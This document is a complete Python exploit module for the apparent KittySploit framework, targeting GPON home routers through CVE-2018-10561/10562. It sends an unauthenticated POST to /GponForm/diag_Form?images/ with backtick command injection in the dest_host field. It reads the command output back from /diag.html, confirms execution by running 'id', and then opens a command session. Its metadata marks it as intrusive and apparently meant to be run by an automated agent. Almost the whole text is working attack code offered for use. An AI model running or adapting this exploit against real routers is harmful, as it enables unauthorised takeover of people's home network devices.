GPON Home Router - Diag Form RCE (CVE-2018-10561)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""GPON Home Router diag form RCE (CVE-2018-10561/10562) — opens execute session."""

import re
import time

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'GPON Home Router - Diag Form RCE (CVE-2018-10561)',
        'description': (
            'Exploits command injection in GPON diagnostic ping (dest_host backticks). '
            'Command output is retrieved from /diag.html after a short delay.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2018-10561', 'CVE-2018-10562'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2018-10561',
            'https://nvd.nist.gov/vuln/detail/CVE-2018-10562',
        ],
        'tags': ['gpon', 'router', 'iot', 'rce', 'cmdi', 'unauth', 'kev', 'cve-2018-10561'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.6,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['scanner/http/cve_2018_10561_detect'],
            },
        },
    }

    wait = OptInteger(3, 'Seconds to wait before reading diag.html', required=False, advanced=True)

    def execute(self, cmd: str) -> str:
        marker = self.random_text(6)
        inner = f'echo KS{marker};{cmd};echo KE{marker}'
        data = (
            'XWebPageName=diag&diag_action=ping&wan_conlist=0'
            f'&dest_host=`{inner}`&ipv=0'
        )
        self.http_request(
            method='POST',
            path='/GponForm/diag_Form?images/',
            data=data,
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        time.sleep(float(self.wait or 3))
        r = self.http_request(method='GET', path='/diag.html?images/', allow_redirects=False)
        if not r:
            return ''
        body = r.text or ''
        m = re.search(rf'KS{marker}(.*?)KE{marker}', body, re.S)
        if m:
            return m.group(1).strip()
        m2 = re.search(r'var diag_result = "([^"]*)"', body)
        return m2.group(1) if m2 else body

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2018-10561 confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'No id output', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()